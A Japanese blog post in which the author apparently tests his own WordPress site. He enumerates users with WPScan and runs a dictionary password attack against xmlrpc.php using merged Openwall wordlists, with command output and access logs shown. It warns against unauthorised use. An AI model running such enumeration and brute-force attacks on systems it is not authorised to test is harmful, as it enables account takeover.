Kali LinuxでWordpressの脆弱性診断を参考に、WPScanを利用して、ユーザを特定して辞書攻撃してみた。
※記事内容を自分が管理していないシステムに許可なく実施すれば違法となるため、絶対に実施しないでください※
Docker for Windows で Kali Linuxを起動してみる後に操作している。
Kali Linuxに接続する
PS C:\Users\shimizu> docker exec -it (コンテナID) /bin/bash
ユーザを特定する
shimizu というユーザが存在することがわかる。
root@81c581d5cf43:/# wpscan --url https://tech.akat.info/ --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.7.5
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: https://tech.akat.info/
[+] Started: Wed Jan 1 11:37:03 2020
...
[i] User(s) Identified:
[+] shimizu
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
辞書攻撃を実施する
Kali Linuxではデフォルト /usr/share/john/password.lst というファイルを利用して辞書攻撃するらしい。
今回はその他サイトからパスワードリストを取得してから、辞書攻撃してみた。
※ただしパスワードは複雑なものであるため、クラックはできなかった。
※自宅グローバルIPアドレスはxmlrpc.phpにアクセスできますが、それ以外はアクセスできないためそもそもクラックされないようにしています。
パスワードリストを作成する
root@81c581d5cf43:/# mkdir passwordlists root@81c581d5cf43:/# cd passwordlists root@81c581d5cf43:/passwordlists# wget -O lower1.gz https://download.openwall.net/pub/wordlists/passwords/lower.gz ... root@81c581d5cf43:/passwordlists# wget -O password1.gz https://download.openwall.net/pub/wordlists/passwords/password.gz ... root@81c581d5cf43:/passwordlists# wget -O lower2.gz https://download.openwall.net/pub/wordlists/languages/Japanese/lower.gz ... root@81c581d5cf43:/passwordlists# wget -O mixed.gz https://download.openwall.net/pub/wordlists/languages/Japanese/mixed.gz ... root@81c581d5cf43:/passwordlists# gzip -d *.gz root@81c581d5cf43:/passwordlists# cat * /usr/share/john/password.lst | sort | uniq > passwords.lst
辞書攻撃してみる
1時間46分かかった。パスワードは複雑なものであるため、クラックはできなかった。
root@81c581d5cf43:/passwordlists# wpscan --url https://tech.akat.info/ -U shimizu -P passwords.lst ... [+] Performing password attack on Xmlrpc against 1 user/s Trying shimizu / zzetu Time: 01:46:18 <==...==> (118222 / 118222) 100.00% Time: 01:46:18 [i] No Valid Passwords Found.
WEBサーバのアクセスログには攻撃数分のログが記録されていた。
x.x.x.x - - [01/Jan/2020:19:35:42 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" x.x.x.x - - [01/Jan/2020:19:35:43 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" x.x.x.x - - [01/Jan/2020:19:35:43 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" x.x.x.x - - [01/Jan/2020:19:35:43 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" x.x.x.x - - [01/Jan/2020:19:35:43 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" x.x.x.x - - [01/Jan/2020:19:35:43 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" x.x.x.x - - [01/Jan/2020:19:35:43 +0900] "POST /xmlrpc.php HTTP/1.1" 200 273 "https://tech.akat.info/" "WPScan v3.7.5 (https://wpscan.org/)" ...